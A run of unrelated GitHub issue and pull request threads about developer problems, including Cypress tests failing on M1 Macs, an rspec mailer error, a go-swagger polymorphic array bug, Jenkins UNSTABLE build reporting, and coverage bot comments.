[ ] npm run test:firefox
[ ] npm run test
[ ] npx cypress run -s 'cypress/e2e/*.js' -c baseUrl=https://coronawarn.app --headless --browser chrome

Ubuntu tests
Ubuntu 20.04.5 LTS running under WSL 2 (Windows Subsystem for Linux 2)

[ ] npx cypress run -s 'cypress/e2e/*.js' --headless --browser chrome running in a separate terminal window to npm start
[ ] npm run test:chrome
[ ] npm run test:firefox
[ ] npm run test

Hey @MikeMcC399, it's a pleasure to be back in touch with you after so long. Hope everything is going well for you.
I've tested your PR on Mac, exactly this one:

Everything works perfectly, you have done a great job. Thanks a lot! I am preparing tests on Windows 10 and Ubuntu, I will write a new comment when they are finished.
Once again, nice to be back in touch with you!

@brifemu
Well it's good to hear from you again as well! Thank you for testing on Mac.
I did a brief successful re-test on Windows and Ubuntu. I will remove the Draft status on this PR now.

Please also consider testing this PR on a Mac(Book) using an Apple silicon (M1 / M2) processor.
cc @brifemu

Tested on Windows 10 Enterprise 20H2 build 19042.1706 and working!

@mtb77
Thank you for running M1 tests!
The applink.cy.js test is failing, whereas the other tests are successful:
  │ ✖  applink.cy.js                            00:13        3        -        3        -        - │
Could you try running the test individually to see what the problem is?
npm run test:open
then select applink.cy.js

@MikeMcC399

The applink.cy.js test is failing, whereas the other tests are successful:
│ ✖ applink.cy.js 00:13 3 - 3 - - │
Could you try running the test individually to see what the problem is?

Tested this on my MacBook Pro 14" 2021, M1 Pro and did not run into the error. Full test shown below. For the other two failing tests, they are most likely related to the gulp-imagemin package, where I had to temporarily remove the corresponding code in order to run the site locally. For some reason, it failed on .jpeg and .jpg files.

Your results are different to @mtb77. The applink.cy.js  test that failed for him worked for you. Conversely tests which failed in your environment (eventRegistration.cy.js and hybrid/check_links.cy.js) were successful for @mtb77.
Why do you think that your problem is due to the gulp-imagemin package? Does npm ls gulp-imagemin show<EMAIL_ADDRESS>or do you have a different version installed? Dependabot PR https://github.com/corona-warn-app/cwa-website/pull/3108 is trying to update to gulp-imagemin from 7.1.0 to 8.0.0, but that fails. The Dependabot PR should however not have any influence if you ran npm ci in the cloned cypress-10 branch.
If you execute npm start  in your environment does the web build and run without errors?
If the web is building correctly then I have the same question for you as for @mtb77:
What is the result of npm run test:open followed by individually running eventRegistration.cy.js and hybrid/check_links.cy.js?

@MikeMcC399
thanks for your help! I'm actually new to using a Mac and usually work on Windows, but as I was surprised about the failed test and was curious why it would happen, I tested for myself and it seems like I went into a much bigger problem.
The version for gulp-imagemin is 7.1.0. If ran on 8.0.0 without any further changes, I'm getting the following error:
Error [ERR_REQUIRE_ESM]: require() of ES Module /Users/lars/Documents/GitHub/cwa-website/node_modules/gulp-imagemin/index.js from /Users/lars/Documents/GitHub/cwa-website/node_modules/gulp-load-plugins/index.js not supported.
Instead change the require of /Users/lars/Documents/GitHub/cwa-website/node_modules/gulp-imagemin/index.js in /Users/lars/Documents/GitHub/cwa-website/node_modules/gulp-load-plugins/index.js to a dynamic import() which is available in all CommonJS modules.
    at requireFn (/Users/lars/Documents/GitHub/cwa-website/node_modules/gulp-load-plugins/index.js:72:14)
    at Object.get [as imagemin] (/Users/lars/Documents/GitHub/cwa-website/node_modules/gulp-load-plugins/index.js:112:41)
    at images_minify (/Users/lars/Documents/GitHub/cwa-website/gulpfile.js:270:30)
    at bound (node:domain:421:15)
    at runBound (node:domain:432:12)
    at asyncRunner (/Users/lars/Documents/GitHub/cwa-website/node_modules/async-done/index.js:55:18)

All that comes below is on 7.1.0, as this seems to be the correct version and everyone else has most likely used the same.
When running npm start on your branch (or master, doesn't make a difference in that case), I get the following error:
[12:29:42] Error in plugin "gulp-imagemin"
Message:
    spawn Unknown system error -86
Details:
    errno: -86
    code: Unknown system error -86
    syscall: spawn
    fileName: /Users/lars/Documents/GitHub/cwa-website/src/assets/img/faq/EU_digital_vaccination_certificate.jpg
    domainEmitter: [object Object]
    domainThrown: false

Deleting the entire src/assets/img directory lets it run through and start, although missing a lot of images.
Deleting just the .jpg and .jpeg leads into this error:
[12:37:08] Error in plugin "gulp-webp"
Message:
   PNG support not compiled. Please install the libpng development package before building.
Error! Could not process file /private/var/folders/3h/rt53tpd11fz405c_wt3glpkw0000gn/T/e9cd7926-8858-400e-8d57-732a4a9bf4cc
Error! Cannot read input picture file '/private/var/folders/3h/rt53tpd11fz405c_wt3glpkw0000gn/T/e9cd7926-8858-400e-8d57-732a4a9bf4cc'

Details:
   code: 255
   killed: false
   stdout:
   stderr: PNG support not compiled. Please install the libpng development package before building.
Error! Could not process file /private/var/folders/3h/rt53tpd11fz405c_wt3glpkw0000gn/T/e9cd7926-8858-400e-8d57-732a4a9bf4cc
Error! Cannot read input picture file '/private/var/folders/3h/rt53tpd11fz405c_wt3glpkw0000gn/T/e9cd7926-8858-400e-8d57-732a4a9bf4cc'

   failed: true
   signal: null
   cmd: /Users/lars/Documents/GitHub/cwa-website/node_modules/cwebp-bin/vendor/cwebp -quiet -mt -o /private/var/folders/3h/rt53tpd11fz405c_wt3glpkw0000gn/T/b31ac84c-e707-4036-b7bf-dcc18b8f1197 /private/var/folders/3h/rt53tpd11fz405c_wt3glpkw0000gn/T/e9cd7926-8858-400e-8d57-732a4a9bf4cc
   timedOut: false
   fileName: /Users/lars/Documents/GitHub/cwa-website/src/assets/img/app-mockup.png
   domainEmitter: [object Object]
   domainThrown: false

It seems that unlike previously assumed, .jpg and .jpeg are not the only problem.
Anyway, continuing the way that I previously made the test, the following errors occurred:
check_links:

As the directory src/assets/img was deleted in order to get the site to run locally, the 4 pages including assets from those directories are failing: de/screenshots, en/screenshots, de/faq/, en/faq. So this one is definitely related to that and would be sorted out with the gulp-imagemin problem being fixed.
eventRegistration:

I'm assuming this is also related to the deleted images. The result PDF with the QR code on it is not complete as the assets that are supposed to be used for it are missing.

Apart from that, there is no problem with the event registration. The button, highlighted in the error, behaves like it should.

In short, your PR is running fine and the problems that I encountered are unrelated to the changes you have made. As @mtb77 ran the two test without a problem, it seems like a problem on my end that I need to fix. It is unclear to me how his error occurred when I didn't get it, though. From my research so far, it doesn't look like much people encountered the same issue so far.

I'm using a M1 MacBook Air and regularly run into different build errors when building the website. I also didn't get the Cypress test suite to work on my Mac and have given up trying to.
What I always do when I encounter such an error: Restart the whole machine. This solved problems for me I never thought a restart would solve.
Also, I found a correlation between freeing space on my disk with CleanMyMacX & build errors, so I assume some cleaning tools also remove necessary files which are then restored by installing them again using the command nmp prompts you to enter.
But this just as a side comment of my experience.

Converting back to Draft status since there are blocking issues outside of this PR:

The web does not build natively under Apple M1 ARM (see https://github.com/corona-warn-app/cwa-website/pull/3137#issuecomment-1278870513). If the web is not built correctly, then tests will fail.
PR https://github.com/corona-warn-app/cwa-website/pull/3138 causes the Cypress test suite to fail under Cypress 9.7 so if the current master branch is merged into this PR, then Cypress 10.10 will also fail.

Closing, due to deferral of the issue. See on-hold comment https://github.com/corona-warn-app/cwa-website/issues/3100#issuecomment-1282465529.

@MikeMcC399 Currently it seems to work, but should I encounter an issue which I can't resolve, I will open an issue!

@Ein-Tim

Currently it seems to work, but should I encounter an issue which I can't resolve, I will open an issue!

Thank you! Perhaps there will an opportunity in future months to try the Cypress migration again? (Maybe when there is another new Cypress version released.) I would check beforehand that the web can be built in M1 though, otherwise there is no advantage.


pypi package should update to the new Ver.0.11

Just pushed a version that fixes a few breaking issues: https://pypi.org/project/Flask-DebugToolbar/#history


Add rspec to test send_followers email

We want to test to confirm that the subject of the email contains the title of the case.  The code works fine, so we are just adding a quick (right...) rspec to automate testing of the feature.
I have hit a sticking point though and cannot yet get the test to work.  Here is the latest code:
describe 'followers_email' do
    let(:user) { mock_model User, name: 'John', email<EMAIL_ADDRESS>all_following: [Article.new]}
    let(:user_two) { mock_model User, name: 'Brown', email<EMAIL_ADDRESS>all_following: [Article.new]}
    let(:article) {mock_model Article, title: 'John Smith', content: 'some content', state_id: 33}
    users = [:user, :user_two]
    let(:mail) { UserNotifier.send_followers_email(users, article) }

    it 'renders the subject' do
      expect(mail.subject).to eql('The John Smith case has been updated on EBWiki.')
    end

    it 'renders the receiver email' do
      expect(mail.to).to eql([user.email])
    end

    it 'renders the sender email' do
      expect(mail.from).to<EMAIL_ADDRESS>    end
  end

and the resulting error trace:
1) UserNotifier followers_email renders the subject
     Failure/Error: mail( :to => user.email, :subject => "The<EMAIL_ADDRESS>case has been updated on EBWiki." )

     NoMethodError:
       undefined method `email' for :user:Symbol
     # ./app/mailers/user_notifier.rb:14:in `block in send_followers_email'
     # ./app/mailers/user_notifier.rb:13:in `each'
     # ./app/mailers/user_notifier.rb:13:in `send_followers_email'
     # ./.bundle/gems/ruby/2.3.0/gems/actionpack-4.2.6/lib/abstract_controller/base.rb:198:in `process_action'
     # ./.bundle/gems/ruby/2.3.0/gems/actionpack-4.2.6/lib/abstract_controller/callbacks.rb:20:in `block in process_action'
     # ./.bundle/gems/ruby/2.3.0/gems/activesupport-4.2.6/lib/active_support/callbacks.rb:88:in `__run_callbacks__'
     # ./.bundle/gems/ruby/2.3.0/gems/activesupport-4.2.6/lib/active_support/callbacks.rb:778:in `_run_process_action_callbacks'
     # ./.bundle/gems/ruby/2.3.0/gems/activesupport-4.2.6/lib/active_support/callbacks.rb:81:in `run_callbacks'
     # ./.bundle/gems/ruby/2.3.0/gems/actionpack-4.2.6/lib/abstract_controller/callbacks.rb:19:in `process_action'
     # ./.bundle/gems/ruby/2.3.0/gems/actionpack-4.2.6/lib/abstract_controller/base.rb:137:in `process'
     # ./.bundle/gems/ruby/2.3.0/gems/actionview-4.2.6/lib/action_view/rendering.rb:30:in `process'
     # ./.bundle/gems/ruby/2.3.0/gems/actionmailer-4.2.6/lib/action_mailer/base.rb:596:in `block in process'
     # ./.bundle/gems/ruby/2.3.0/gems/activesupport-4.2.6/lib/active_support/notifications.rb:164:in `block in instrument'
     # ./.bundle/gems/ruby/2.3.0/gems/activesupport-4.2.6/lib/active_support/notifications/instrumenter.rb:20:in `instrument'
     # ./.bundle/gems/ruby/2.3.0/gems/activesupport-4.2.6/lib/active_support/notifications.rb:164:in `instrument'
     # ./.bundle/gems/ruby/2.3.0/gems/actionmailer-4.2.6/lib/action_mailer/base.rb:593:in `process'
     # ./.bundle/gems/ruby/2.3.0/gems/actionmailer-4.2.6/lib/action_mailer/base.rb:584:in `initialize'
     # ./.bundle/gems/ruby/2.3.0/gems/actionmailer-4.2.6/lib/action_mailer/message_delivery.rb:25:in `new'
     # ./.bundle/gems/ruby/2.3.0/gems/actionmailer-4.2.6/lib/action_mailer/message_delivery.rb:25:in `__getobj__'
     # ./spec/mailers/user_notifier_spec.rb:55:in `block (3 levels) in <top (required)>'
     # ./spec/rails_helper.rb:67:in `block (3 levels) in <top (required)>'
     # ./.bundle/gems/ruby/2.3.0/gems/database_cleaner-1.3.0/lib/database_cleaner/generic/base.rb:15:in `cleaning'
     # ./.bundle/gems/ruby/2.3.0/gems/database_cleaner-1.3.0/lib/database_cleaner/base.rb:92:in `cleaning'
     # ./.bundle/gems/ruby/2.3.0/gems/database_cleaner-1.3.0/lib/database_cleaner/configuration.rb:86:in `block (2 levels) in cleaning'
     # ./.bundle/gems/ruby/2.3.0/gems/database_cleaner-1.3.0/lib/database_cleaner/configuration.rb:87:in `cleaning'
     # ./spec/rails_helper.rb:66:in `block (2 levels) in <top (required)>'

We have a passing spec for this now,as I am looking at the code.


Server cannot unmarshal array of polymorphic values

Problem statement
Not sure if this is related to #842, but when an endpoint expects an array of polymorphic values, the server fails with the following error message:
{"code":400,"message":"parsing contents body from \"\" failed, because json: cannot unmarshal object into Go value of type models.Value"}

Swagger specification
swagger: '2.0'
info:
  version: '0.0.1'
  title: Test
schemes:
  - http
basePath: /v1
produces:
  - application/json
consumes:
  - application/json
paths:
  /test:
    put:
      operationId: test
      parameters:
      - name: payload
        in: body
        required: true
        schema:
          type: array
          items:
            $ref: '#/definitions/Value'
      tags:
        - Test
      responses:
        default:
          description: "successful operation"
definitions:
  Value:
    type: object
    discriminator: ValueType
    required:
    - ValueType
    properties:
      ValueType:
        type: string
  StringValue:
    allOf:
    - $ref: '#/definitions/Value'
    - type: object
      properties:
        foobar:
          type: string

Steps to reproduce

Implement a dummy handler
Build and start the server
execute the following curl:

curl 'http://localhost:PORT/v1/test -X PUT -H 'Content-type: application/json' -d '[{"ValueType":"StringValue","Foobar":"hello"}]'

Environment
swagger version: 0.12.0
go version: go1.9.1 darwin/amd64
OS:   MacOS but should be irrelevant
Workaround
When payload is to be an object that contains the array instead of just the array, it works.
- name: payload
    in: body
    required: true
    schema:
      type: object
      properties:
        values:
          type: array
          items:
            $ref: '#/definitions/Value'

Since the issue can be worked around it is not a blocking issue for me, I am submitting this issue more out of curiosity as to what provokes this behavior.
Edit: fix invalid sample spec

You're using a really old version.  Please try with the latest release, this should be fixed.

Just upgraded to 0.15.0.
Same result :/

I guess it's different because of this: When payload is to be an object that contains the array instead of just the array, it works.

Could you please add here the BindRequest() method generated for your operation?

Sure thing. Here you go:
// BindRequest both binds and validates a request, it assumes that complex things implement a Validatable(strfmt.Registry) error interface
// for simple values it will use straight method calls.
//
// To ensure default values, the struct must have been initialized with NewTestParams() beforehand.
func (o *TestParams) BindRequest(r *http.Request, route *middleware.MatchedRoute) error {
	var res []error

	o.HTTPRequest = r

	if runtime.HasBody(r) {
		defer r.Body.Close()
		var body []models.Value
		if err := route.Consumer.Consume(r.Body, &body); err != nil {
			if err == io.EOF {
				res = append(res, errors.Required("payload", "body"))
			} else {
				res = append(res, errors.NewParseError("payload", "body", "", err))
			}
		} else {
			// validate array of body objects
			for i := range body {
				if err := body[i].Validate(route.Formats); err != nil {
					res = append(res, err)
					break
				}
			}

			if len(res) == 0 {
				o.Payload = body
			}
		}
	} else {
		res = append(res, errors.Required("payload", "body"))
	}
	if len(res) > 0 {
		return errors.CompositeValidationError(res...)
	}
	return nil
}

Yes I've seen already this when trying to fix some other stuff with polymorphism.
Problem is that the array type does not get its "IsExported" flag set.

I did not release this fix, because there are many other problems here.
I may fix this, but then how about [][]Value, or map[string]Value, no even thinking of [][]map[string][][]Value`... They all fail. So that is a bit more complicated.

Well, if this cannot be fixed for all possible cases it should at least be documented as a limitation of go-swagger, don't you think? Not sure, how heavily used this feature is anyway.
Would be nice to have it working for the 'simple' case though ;)

i am not saying this cannot be fixed. I am saying it is not fixed yet because it is not a simplistic issue.
About documenting limitations, many things have been added recently. Did you read it?

You got me there. I definitely have to catch up on the docs.
In the meantime, I can work around this issue by wrapping the array in an object.
Happy to test any fixes, although you seem to have a much better understanding of the wider implications and possible edge cases.

Found minimal patch to make this one work.
There are many other edge cases with polymorphism.
ad this story shall also be told.


A build result of UNSTABLE should not necessarily result in a failure

This line here:
https://github.com/jenkinsci/checks-api-plugin/blob/fa7f8da1d543a110c571679fe2db9d272f10af68/src/main/java/io/jenkins/plugins/checks/status/BuildStatusChecksPublisher.java#L146
I wish it would return state NEUTRAL or success, or perhaps be configurable.
I have a step which is currently producing errors which I want to know about but cannot block the build for. For example linter errors. We introduced a linter and it generates warnings which we want to fix over time and then eventually flip to a hard FAILURE but for now I want it to show as UNSTABLE.
I would create a PR if I had some guidance how best to implement such a change.

We marked the UNSTABLE as a failure because some users found that NEUTRAL may shadow the test failures: https://github.com/jenkinsci/checks-api-plugin/issues/11.
In Jenkins, plugins usually treat UNSTABLE as a failure, for example, the JUnit plugin will report UNSTABLE if one of the tests fails, and the Warnings-NG plugin uses UNSTABLE or FAILURE to conclude a build if it fails the quality gate.
It makes sense to make it configurable, you can implement it although it's a little complicated since it involves changes both on this API and the GitHub implementation:

StatusChecksProperties is the extension point for SCM platform implementations to provide the status checks properties, it would retrieve properties from implementations according to the job, current we only provide name and skip-bility.
GitHubStatusChecksProperties implements the above extension point for GitHub. Since we have both Git and GitHub project or SCM which target at GitHub, this class will get the user configurations from the proper GitHubStatusChecksConfigurations according to the SCM.
And finally, GitHubSCMSourceStatusChecksTrait and GitSCMStatusChecksExtension implement GitHubStatusChecksConfigurations and provided configurations for the end users.

So, for this status, maybe define a getStatusMap?

I follow your logic, if you think its fine to make it configurable I will try to follow up with a PR. It seems like this should be able to default to the current behavior and would be backwards compatible and would be a pretty reasonable thing to have configurable.

Not sure if that can help for your usecase, but we sometime use the UNSTABLE stageResult instead of the buildResult to display unstable behaviour that should not fail the build.
With that, the stage will show in yellow in the UI while the pipeline will still be successful.
catchError(message: "WARNING: The operation failed", buildResult: 'SUCCESS', stageResult: 'UNSTABLE', catchInterruptions: false) {
   // steps that will throw an error, but not fail the build if they do
}

Not sure if that can help for your usecase, but we sometime use the UNSTABLE stageResult instead of the buildResult to display unstable behaviour that should not fail the build.
With that, the stage will show in yellow in the UI while the pipeline will still be successful.
catchError(message: "WARNING: The operation failed", buildResult: 'SUCCESS', stageResult: 'UNSTABLE', catchInterruptions: false) {
   // steps that will throw an error, but not fail the build if they do
}

Solved by https://github.com/jenkinsci/checks-api-plugin/pull/78 and https://github.com/jenkinsci/github-checks-plugin/pull/124

@XiongKezhi does it still work? I've checked the Publish unstable builds as neutral status checks checkbox but still getting failures in Github. Does even Github have neutral check result? I only see passing, pending and failing in their docs.

See https://docs.github.com/en/rest/checks/runs#create-a-check-run:
conclusion
Required if you provide completed_at or a status of completed. The final conclusion of the check. Note: Providing conclusion will automatically set the status parameter to completed. You cannot change a check run conclusion to stale, only GitHub can set this.
Can be one of: action_required, cancelled, failure, neutral, success, skipped, stale, timed_out


cannot access to configuation page

Hi,
i've installed the event notification pluggin (3.0 and 3.2) in my redmine 3.2 but when i go on configuration page i've got a 404 error message
any idea?

i had the same issue. i renamed the plugin "mv event_notifications-3.0.0 event_notifications" and ran the "rake redmine:plugins:migrate RAILS_ENV=production" again and it worked.

Hi !!
i've tried what you explain and it works !!!
thank you very much !


feat: make formatTime and formatNumber accept undefined type

🏆 Enhancements

Make formatTime and formatNumber handle undefined type. The logic is already there, but the argument type was still string

cc @ktmud

Actually, this file needs to be updated, too:
https://github.com/apache-superset/superset-ui/blob/master/packages/superset-ui-number-format/src/NumberFormatterRegistrySingleton.ts#L12-L13


occurrences for named arguments

I've changed the way named arguments are processed - now it's done via traversing tree.


New codes/codetype for VMS

WGSFDGOV requested habitat codes for the VMS dataset. These are related to the MSFD, so there might be an external vocabulary we can use.

@pcrjoana to add the new code type and link it to external codes code type.
Each code to be linked to external URI.


Make Block::verify private.

This should make it impossible to instantiate an invalid Block, where the body hash doesn't match the one in the header, or the hash field is different from the header's hash.
Now that this gets verified on deserialization, the fetcher can respond on all Responders once it got the block from one peer.
Closes #1620.

bors merge


Add iter_join resolver

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 100.00%. Comparing base (e37d75f) to head (db4c405).

Additional details and impacted files
@@            Coverage Diff            @@
##              main      #263   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            7         7
  Lines          175       178    +3
  Branches        34        35    +1
=========================================
+ Hits           175       178    +3

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Add a paper GITA

Dear Xiaoxin,
We'd like to recommend our NeurIPS 2024 work "GITA: Graph to Visual and Textual Integration for
Vision-Language Graph Reasoning" is suitable for the categories "Benchmark" and "Basic Graph Reasoning" on your list.
URL: https://arxiv.org/abs/2402.02130
To be specific, GITA first delves into a novel topic: "vision-language graph reasoning", based on existing graph data (bare structure), GITA can automatically generate vision images and text descriptions of these graphs and combine them use VLMs like llava to perform reasoning and bring performance gains from modality integration. Because of data scarcity for the new proposed vision-language graph reasoning topic, we also establish the first benchmark GVLQA in this setting.
As the first to concentrate on incorporating vision modality on general graph problems, we think vision-language graph reasoning is a promising orientation, and first enable VLMs to attend this track to compete with both GNNs and text-based LLMs.
The evaluated tasks in our paper include 1. Basic reasoning tasks, such as connectivity, cycle, shortest path, etc.  2. node classification 3. link prediction. All of them are performed by GITA on vision-language reasoning and compared with solely image/text-based approaches.
Thanks,
Yanbin

Hi Yanbin,
Thank you for bringing this work to our attention – nice job! I’ve added it to the repository.


we should remove this code when limit switch is implemented

          we should remove this code when limit switch is implemented

Originally posted by @jbbjarnason in https://github.com/Skaginn3x/framework/pull/382#discussion_r1457204427

depends on #389


Add missing commit for https://github.com/terraware/pdd-backend/pull/127/files

Add missing commit for https://github.com/terraware/pdd-backend/pull/127/files
Formatting
Add missing commit for https://github.com/terraware/pdd-backend/pull/128
Add missing commit for https://github.com/terraware/pdd-backend/pull/129
Fix test
Add missing commit for https://github.com/terraware/pdd-backend/pull/130

#2135  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @nickgraz and the rest of your teammates on  Graphite

Ah, I totally failed to notice that the default values code was missing in the initial "merge the code bases" PR!

Me neither, not a great mistake to make. I am lucky I wasn't further behind.


Blocked aria-hidden on an element because its descendant retained focus.

Describe the bug
DropdownMenu print this error when opened first time on a page:
Blocked aria-hidden on an element because its descendant retained focus. The focus must not be hidden from assistive technology users. Avoid using aria-hidden on a focused element or its ancestor. Consider using the inert attribute instead, which will also prevent focus. For more details, see the aria-hidden section of the WAI-ARIA specification at https://w3c.github.io/aria/#aria-hidden.
Element with focus: button
Ancestor with aria-hidden:  <div id="app" aria-hidden="true">...

To Reproduce
Steps to reproduce the behavior:

Go to official document page
Open DevTool
Click on first example button
Check error in the console

Expected behavior
No error should be printed.
Screenshots

Desktop (please complete the following information):

OS: macOS
Browser Chrome
Version 131.0.6778.205

I saw the same error console too when I'm using <Dialog>. But I cannot reproduce it. I guess there's some common behavior between dialog and drop down 🤔


Replace multi_json with standard library json

I’ve recently made the same change in simplecov itself: https://github.com/colszowka/simplecov/commit/ba6af083b223fcb2c25b8295abbae0db8a2f7696. As a former maintainer of multi_json, I can attest that it is not necessary here and not worth the overhead of an additional dependency, since json was added to the standard library in Ruby 1.9.

Coverage remained the same at 90.94% when pulling 07d6bf9d305b2f8c1c613b063c2de6fe9580398c on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling 07d6bf9d305b2f8c1c613b063c2de6fe9580398c on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage increased (+0.35%) to 91.29% when pulling 07d6bf9d305b2f8c1c613b063c2de6fe9580398c on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage increased (+0.35%) to 91.29% when pulling 07d6bf9d305b2f8c1c613b063c2de6fe9580398c on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage increased (+0.35%) to 91.29% when pulling 07d6bf9d305b2f8c1c613b063c2de6fe9580398c on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage increased (+0.35%) to 91.29% when pulling 07d6bf9d305b2f8c1c613b063c2de6fe9580398c on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage decreased (-5.57%) to 85.37% when pulling ee45d1df6206c02bc46e5ecce9ed0cd381057d48 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Not sure why Travis is passing on every Ruby version except 2.2.0. I’ve tested it locally on on Ruby 2.2.2 and everything passes.

Coverage remained the same at 90.94% when pulling 8acff04472e0f4187222cd328ec852341c096bba on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling 8acff04472e0f4187222cd328ec852341c096bba on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Okay, the build is green now. This should be good to merge.

Coverage remained the same at 90.94% when pulling 799ef1dcfd6efb870c88e7572bef3d0b0cf64713 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling 799ef1dcfd6efb870c88e7572bef3d0b0cf64713 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling 799ef1dcfd6efb870c88e7572bef3d0b0cf64713 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling 799ef1dcfd6efb870c88e7572bef3d0b0cf64713 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling 799ef1dcfd6efb870c88e7572bef3d0b0cf64713 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage decreased (-0.19%) to 90.75% when pulling c5110553ab904f783aeee787877942cb291a99c2 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage decreased (-0.19%) to 90.75% when pulling 9ab0e5bb38926211a741b2b80647e95bdcf6fbad on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage decreased (-0.19%) to 90.75% when pulling 9ab0e5bb38926211a741b2b80647e95bdcf6fbad on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling d5d234fdd7bd8f9cbf8f78e3497eddd2939fa409 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling ee99936f18232f217aeb608f6050e19ed9a567ba on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling ee99936f18232f217aeb608f6050e19ed9a567ba on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage decreased (-0.19%) to 90.75% when pulling ad06d68a3dccde201e43b566b8d374650623c010 on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling 98446ebbebf6fc19f9dee0f67ff4ed6317f298bb on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Coverage remained the same at 90.94% when pulling 98446ebbebf6fc19f9dee0f67ff4ed6317f298bb on sferik:replace-multi_json-with-json into bb40b396095763fad73bdfb8dc9bddd14f57945f on lemurheavy:master.

Looks great, thank you as always @sferik!


Add support for environment variables

For easier configuration in docker, it would be nice to use environment variables as config input.

https://github.com/grisu48/pasta/pull/35

Done.


Force auto-populate into global config

Fixes #2076
still gonna use the value of auto-populate per world, as you may want to disable things from one dimensions being added to the config for whatever reason
still need to figure out how to handle collision configs

is this getting added?


Create SSM secret automatically - partially solve #389

#389 - Ease the run of manual acceptance tests:

Create SSM secret automatically.

Sadly, CloudFormation doesn't support creating a SecureString parameter type.
Anyway with this at leas we test that Laconia/Config reads information from SSM. :-)

close this in favor of PR: #432


334 delete inventory request

Fixes #334 - Allow deletion/cancellation of inventory requests.
Changes proposed in this pull request:

Add delete inventory request in inventory/index template
Add tests for deleting inventory request

cc @HospitalRun/core-maintainers

@jkleinsc I restarted the travis build, as some tests were timing out. I'm curious why the merge from master shows up as 151 changes by this PR. I don't recall that being the case before. It's pretty unhelpful in trying to review the real changes for the PR (which look good).

@tangollama @jkleinsc Seems something went wrong with the history of my master branch. I'll close this PR and will create a new one after I fix my master.


WXCWebView exception in addWebAllowedObject

Hello guys.
Thank you for your work.
Could you help me, i took exception in this method when i try to set object.

Hey @SergeyNewcastle,
Thanks for the report! Can you share a snippet of code that you're having an issue with?

Hello @DHowett-MSFT.
Thank you for response.
I expanded the same WXCWebView for methods what u want use from web and pass it ti this method.
May be i must create another special object for this?


Non-scientist users

Could you add AI prompt output?
Dumb persons need an explanation, like me: https://g.co/gemini/share/66d2f37aaf30

something like

Please summarize this server timing table of differences between WordPress versions $old and $new?


WIP: Podvm guest components caching

podvm: Pull the guest-components from cache
To reduce time in the podvm build, rather than compiling the guest-components
binaries each time, we can just re-use the cached version that the
kata-containers CI build publishes.
Note: This adds a restriction that means we can only use versions of
guest-components that have been included in a kata-containers build.
I think this is okay as we want to stay in sync with them anyway
Fixes: https://github.com/confidential-containers/cloud-api-adaptor/issues/1816

I think the kata guest components are too specific to be used in peerpods. but maybe we can use parts of it, attestation-agent will have hardware dependencies, e.g you need tdx guest attester libraries that are only available ox 86_64 naturally, otoh the peerpods TEEs (tpm, se) require openssl and are not compatible with musl.
but we can maybe build and push specific binaries in the guest-components repo (think: .../guest-components:$sha-glibc-x86_64 and .../guest-components-$sha-glibc-s390x)

I think the kata guest components are too specific to be used in peerpods. but maybe we can use parts of it, attestation-agent will have hardware dependencies, e.g you need tdx guest attester libraries that are only available ox 86_64 naturally, otoh the peerpods TEEs (tpm, se) require openssl and are not compatible with musl.
but we can maybe build and push specific binaries in the guest-components repo (think: .../guest-components:$sha-glibc-x86_64 and .../guest-components-$sha-glibc-s390x)

Yeah, I was coming to the same conclusion with this PR, hence leaving it in draft. It would be nice to remove all the rust related code from this repo, but agree that we need the different flavours built and cached and guest-components make sense as the place to do that and then the kata rootfs code can consume the variants it needs there too.
I'll close this PR for clarity - we can also re-open it later if needed. Thanks!


fix: If resource synchronization retry occurs, other events of the same resource will be blocked.

Please answer these questions before submitting a pull request

Why submit this pull request?

[x] Bugfix

[ ] New feature provided

[ ] Improve performance

[ ] Backport patches

Related issues
#759

Bugfix

How to fix?

